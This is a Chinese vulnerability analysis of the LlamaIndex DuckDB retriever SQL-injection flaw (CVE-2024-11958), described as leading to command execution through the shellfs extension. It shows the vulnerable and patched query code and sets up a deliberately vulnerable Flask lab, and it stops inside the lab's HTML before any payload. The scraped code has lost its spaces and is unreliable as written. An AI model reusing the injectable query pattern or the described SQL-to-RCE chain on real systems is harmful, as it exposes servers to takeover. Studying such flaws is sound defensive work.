【漏洞分析】LlamaIndexSQL2RCE漏洞分析(CVE-2024-11958)

admin 2026-01-13 14:38:56 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: LlamaIndex的duckdb_retriever组件存在SQL注入漏洞CVE-2024-11958,因直接拼接SQL查询导致。攻击者可利用该漏洞配合DuckDB的shellfs扩展,通过管道符执行任意系统命令,实现远程代码执行。建议及时更新修复并使用参数化查询。 综合评分: 90 文章分类: 漏洞分析,AI安全,漏洞POC,WEB安全


cover_image

【漏洞分析】LlamaIndex SQL2RCE漏洞分析(CVE-2024-11958)

原创

whoami0002

SecurityPaper

2026年1月12日 17:38 江苏

文章首发于先知社区:https://xz.aliyun.com/news/91091

前言

LlamaIndex 是领先的框架,可用于使用LLM和工作流在您的数据上构建 LLM 驱动的代理。

漏洞概述

run-llama/llama_index 仓库中的 duckdb_retriever 组件存在 SQL 注入漏洞。该漏洞源于未使用预处理语句构建 SQL 查询,攻击者可利用此漏洞注入任意 SQL 代码。通过安装 shellfs 扩展并执行恶意命令,攻击者可以实现远程代码执行 (RCE)。

漏洞分析/复现

补丁分析

https://github.com/run-llama/llama_index/commit/35bd221e948e40458052d30c6ef2779bc965b6d0

查看补丁,核心文件

llama-index-integrations/retrievers/llama-index-retrievers-duckdb-retriever/llama_index/retrievers/duckdb_retriever/base.py

漏洞代码query_result = conn.execute(sql).fetchall() 直接执行拼接的SQL

def_retrieve(self, query_bundle: QueryBundle) ->List[NodeWithScore]:
    query=query_bundle.query_str
    sql=f"""
        SELECT
            fts_main_{self._table_name}.match_bm25({self._node_id_column}, '{query}') ASscore,
            {self._node_id_column}, {self._text_column}
        FROM {self._table_name}
        WHEREscoreISNOTNULL
        ORDERBYscoreDESC
        LIMIT {self._similarity_top_k};
    """
    withDuckDBLocalContext(self._database_path) asconn:
        query_result=conn.execute(sql).fetchall()

修复后的代码,使用?占位符,query_result = conn.execute(sql, [query]).fetchall() 作为参数进行传递

def_retrieve(self, query_bundle: QueryBundle) ->List[NodeWithScore]:
    query=query_bundle.query_str
    sql=f"""
        SELECT
            fts_main_{self._table_name}.match_bm25({self._node_id_column}, ?) ASscore,
            {self._node_id_column}, {self._text_column}
        FROM {self._table_name}
        WHEREscoreISNOTNULL
        ORDERBYscoreDESC
        LIMIT {self._similarity_top_k};
    """
    withDuckDBLocalContext(self._database_path) asconn:
        query_result=conn.execute(sql, [query]).fetchall()

环境搭建

安装相关依赖 pip install -r requirements.txt

duckdb>=0.9.0
llama-index-core>=0.10.0
llama-index-retrievers-duckdb-retriever<0.4.0
flask>=2.0.0

构建测试环境

web服务器

importos
fromflaskimportFlask,&nbsp;request,&nbsp;jsonify,&nbsp;render_template
importduckdb
fromllama_index.retrievers.duckdb_retrieverimportDuckDBRetriever

app=Flask(__name__)

os.makedirs("./storage",&nbsp;exist_ok=True)

persist_dir=os.path.abspath("./storage")
database_name="testduck"
db_file=os.path.join(persist_dir,&nbsp;database_name)

ifos.path.exists(db_file):
&nbsp; &nbsp;&nbsp;os.remove(db_file)

conn=duckdb.connect(db_file)
try:

&nbsp; &nbsp;&nbsp;conn.execute(
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"CREATE TABLE documents (node_id VARCHAR, text VARCHAR, author VARCHAR, doc_version INTEGER);"
&nbsp; &nbsp; )

&nbsp; &nbsp;&nbsp;conn.execute(
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"INSERT INTO documents VALUES ('doc1', 'The cat is pretty.', 'Alice', 3);"
&nbsp; &nbsp; )
&nbsp; &nbsp;&nbsp;conn.execute("INSERT INTO documents VALUES ('doc2', 'The dog is cute.', 'Bob', 2);")
finally:

&nbsp; &nbsp;&nbsp;conn.close()

&nbsp; &nbsp;&nbsp;importtime
&nbsp; &nbsp;&nbsp;time.sleep(0.1)

verify_conn=duckdb.connect(db_file)
try:
&nbsp; &nbsp;&nbsp;result=verify_conn.execute("SELECT COUNT(*) FROM documents").fetchone()
&nbsp; &nbsp;&nbsp;tables=verify_conn.execute("SHOW TABLES").fetchall()

finally:
&nbsp; &nbsp;&nbsp;verify_conn.close()

globalretriever
retriever=DuckDBRetriever(
&nbsp; &nbsp;&nbsp;database_name=database_name,
&nbsp; &nbsp;&nbsp;persist_dir=persist_dir,
&nbsp; &nbsp;&nbsp;table_name="documents"
)

@app.route('/')
defhome():
&nbsp; &nbsp;&nbsp;returnrender_template('index.html')

@app.route('/ask',&nbsp;methods=['POST'])
defask():
&nbsp; &nbsp;&nbsp;globalretriever
&nbsp; &nbsp;&nbsp;data=request.get_json()
&nbsp; &nbsp;&nbsp;question=data.get('question')

&nbsp; &nbsp;&nbsp;ifnotquestion:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnjsonify({'error':&nbsp;'缺少question参数'}),&nbsp;400

&nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;response=retriever.retrieve(question)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;res=&nbsp;[]
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;forrinresponse:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;res.append(r.get_content())

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnjsonify({'answer':&nbsp;res})
&nbsp; &nbsp;&nbsp;exceptExceptionase:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[错误] {e}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnjsonify({'error':&nbsp;str(e)}),&nbsp;500

if__name__=='__main__':
&nbsp; &nbsp;&nbsp;app.run(port=7000)
<!DOCTYPE html>
<htmllang="zh-CN">
<head>
&nbsp; &nbsp;&nbsp;<metacharset="UTF-8">
&nbsp; &nbsp;&nbsp;<metaname="viewport"content="width=device-width, initial-scale=1.0">
&nbsp; &nbsp;&nbsp;<metaname="description"content="智能问答系统 - 基于文档检索的问答服务">
&nbsp; &nbsp;&nbsp;<metaname="robots"content="noindex, nofollow">
&nbsp; &nbsp;&nbsp;<title>智能问答系统</title>
&nbsp; &nbsp;&nbsp;<style>
&nbsp; &nbsp; &nbsp; &nbsp; * {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;margin:&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;padding:&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;box-sizing:&nbsp;border-box;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; body {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;font-family:&nbsp;-apple-system,&nbsp;BlinkMacSystemFont,&nbsp;'Segoe UI',&nbsp;'Roboto',&nbsp;'Helvetica Neue',&nbsp;Arial,&nbsp;sans-serif;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;background:&nbsp;linear-gradient(135deg,&nbsp;#667eea0%,&nbsp;#764ba2100%);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;min-height:&nbsp;100vh;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;display:&nbsp;flex;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;justify-content:&nbsp;center;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;align-items:&nbsp;center;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;padding:&nbsp;20px;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .container {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;background:&nbsp;white;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;border-radius:&nbsp;16px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;box-shadow:&nbsp;020px60pxrgba(0,&nbsp;0,&nbsp;0,&nbsp;0.3);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;width:&nbsp;100%;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;max-width:&nbsp;800px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;padding:&nbsp;40px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;animation:&nbsp;fadeIn0.3sease-in;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; @keyframes fadeIn {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;from&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;opacity:&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;transform:&nbsp;translateY(-20px);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;to&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;opacity:&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;transform:&nbsp;translateY(0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .header {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;text-align:&nbsp;center;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;margin-bottom:&nbsp;30px;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .header h1 {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;color:&nbsp;#333;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;font-size:&nbsp;28px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;font-weight:&nbsp;600;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;margin-bottom:&nbsp;8px;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .header p {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;color:&nbsp;#666;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;font-size:&nbsp;14px;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .form-group {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;margin-bottom:&nbsp;20px;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .input-wrapper {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;position:&nbsp;relative;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;#question&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;width:&nbsp;100%;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;padding:&nbsp;16px20px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;font-size:&nbsp;16px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;border:&nbsp;2pxsolid#e0e0e0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;border-radius:&nbsp;12px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;outline:&nbsp;none;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;transition:&nbsp;all0.3sease;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;background:&nbsp;#f8f9fa;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;#question:focus {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;border-color:&nbsp;#667eea;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;background:&nbsp;white;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;box-shadow:&nbsp;0004pxrgba(102,&nbsp;126,&nbsp;234,&nbsp;0.1);
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;#question:disabled {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;background:&nbsp;#f0f0f0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;cursor:&nbsp;not-allowed;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .submit-btn {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;width:&nbsp;100%;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;padding:&nbsp;16px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;font-size:&nbsp;16px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;font-weight:&nbsp;600;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;color:&nbsp;white;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;background:&nbsp;linear-gradient(135deg,&nbsp;#667eea0%,&nbsp;#764ba2100%);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;border:&nbsp;none;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;border-radius:&nbsp;12px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;cursor:&nbsp;pointer;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;transition:&nbsp;all0.3sease;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;position:&nbsp;relative;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;overflow:&nbsp;hidden;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .submit-btn:hover:not(:disabled) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;transform:&nbsp;translateY(-2px);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;box-shadow:&nbsp;010px25pxrgba(102,&nbsp;126,&nbsp;234,&nbsp;0.4);
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .submit-btn:active:not(:disabled) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;transform:&nbsp;translateY(0);
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .submit-btn:disabled {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;opacity:&nbsp;0.6;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;cursor:&nbsp;not-allowed;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .submit-btn .spinner {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;display:&nbsp;none;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;width:&nbsp;16px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;height:&nbsp;16px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;border:&nbsp;2pxsolidrgba(255,&nbsp;255,&nbsp;255,&nbsp;0.3);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;border-top-color:&nbsp;white;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;border-radius:&nbsp;50%;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;animation:&nbsp;spin0.8slinearinfinite;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;margin-right:&nbsp;8px;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .submit-btn.loading .spinner {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;display:&nbsp;inline-block;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .submit-btn.loading .btn-text {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;opacity:&nbsp;0.7;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; @keyframes spin {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;to&nbsp;{&nbsp;transform:&nbsp;rotate(360deg); }
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .result-container {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;margin-top:&nbsp;30px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;min-height:&nbsp;100px;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .result-item {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;background:&nbsp;#f8f9fa;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;border-left:&nbsp;4pxsolid#667eea;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;padding:&nbsp;16px20px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;margin-bottom:&nbsp;12px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;border-radius:&nbsp;8px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;animation:&nbsp;slideIn0.3sease-out;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; @keyframes slideIn {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;from&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;opacity:&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;transform:&nbsp;translateX(-20px);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;to&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;opacity:&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;transform:&nbsp;translateX(0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .result-item-header {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;display:&nbsp;flex;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;align-items:&nbsp;center;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;margin-bottom:&nbsp;8px;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .result-item-header .icon {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;width:&nbsp;20px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;height:&nbsp;20px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;margin-right:&nbsp;8px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;color:&nbsp;#667eea;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .result-item-header .index {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;font-weight:&nbsp;600;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;color:&nbsp;#667eea;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;margin-right:&nbsp;8px;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .result-content {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;color:&nbsp;#333;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;line-height:&nbsp;1.6;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;word-wrap:&nbsp;break-word;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .error-message {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;background:&nbsp;#fee;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;border-left:&nbsp;4pxsolid#f44336;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;color:&nbsp;#c62828;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;padding:&nbsp;16px20px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;border-radius:&nbsp;8px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;margin-top:&nbsp;20px;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .error-message .error-title {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;font-weight:&nbsp;600;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;margin-bottom:&nbsp;4px;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .empty-state {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;text-align:&nbsp;center;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;padding:&nbsp;40px20px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;color:&nbsp;#999;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .empty-state .icon {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;font-size:&nbsp;48px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;margin-bottom:&nbsp;16px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;opacity:&nbsp;0.5;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .loading-dots {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;display:&nbsp;inline-block;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .loading-dots span {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;display:&nbsp;inline-block;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;width:&nbsp;8px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;height:&nbsp;8px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;border-radius:&nbsp;50%;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;background:&nbsp;#667eea;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;margin:&nbsp;02px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;animation:&nbsp;bounce1.4sinfiniteease-in-outboth;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; .loading-dots span:nth-child(1) {&nbsp;animation-delay:&nbsp;-0.32s; }
&nbsp; &nbsp; &nbsp; &nbsp; .loading-dots span:nth-child(2) {&nbsp;animation-delay:&nbsp;-0.16s; }

&nbsp; &nbsp; &nbsp; &nbsp; @keyframes bounce {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0%,&nbsp;80%,&nbsp;100%&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;transform:&nbsp;scale(0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;40%&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;transform:&nbsp;scale(1);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; @media (max-width: 600px) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .container&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;padding:&nbsp;24px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .headerh1&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;font-size:&nbsp;24px;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;</style>
</head>
<body>
&nbsp; &nbsp;&nbsp;<divclass="container">
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<divclass="header">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<h1>智能问答系统</h1>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<p>基于文档检索的智能问答服务</p>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div>

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<formid="questionForm"novalidate>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<divclass="form-group">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<divclass="input-wrapper">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<input
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;type="text"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;id="question"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;placeholder="请输入您的问题..."
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;required
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;autocomplete="off"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;autofocus
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<buttontype="submit"class="submit-btn"id="submitBtn">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<spanclass="spinner"></span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<spanclass="btn-text">提交查询</span>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</button>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</form>

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<divclass="result-container"id="resultContainer">
